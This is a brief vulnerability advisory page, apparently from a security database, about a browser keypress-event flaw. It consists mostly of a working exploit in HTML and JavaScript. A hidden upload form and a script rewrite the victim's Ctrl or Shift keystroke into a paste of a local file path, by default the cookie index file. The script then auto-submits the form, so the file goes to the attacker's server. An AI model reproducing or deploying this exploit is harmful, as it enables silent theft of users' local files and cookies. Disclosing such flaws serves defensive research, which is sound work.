|
Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability
Exploit code has been contributed by Andreas Sandblad <sandblad@acc.umu.se>: <div id=h style="zoom:0.0001"> <form name=u enctype="multipart/form-data" method=post action=upload.php> <input type=file name=file></form></div> <script> //uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat"; uploadFile="..\\Cookies\\index.dat"; function gotKey(){ if (event.ctrlKey) event.keyCode = 86; else if (event.shiftKey) event.keyCode = 45; else return; document.onkeydown = null; window.clipboardData.setData("Text",uploadFile); (p=document.forms.u.file).focus(); p.onpropertychange = function(){document.forms.u.submit()}; } document.onkeydown = gotKey; window.onload=function(){document.body.focus()}; </script> |
|
|
Privacy Statement |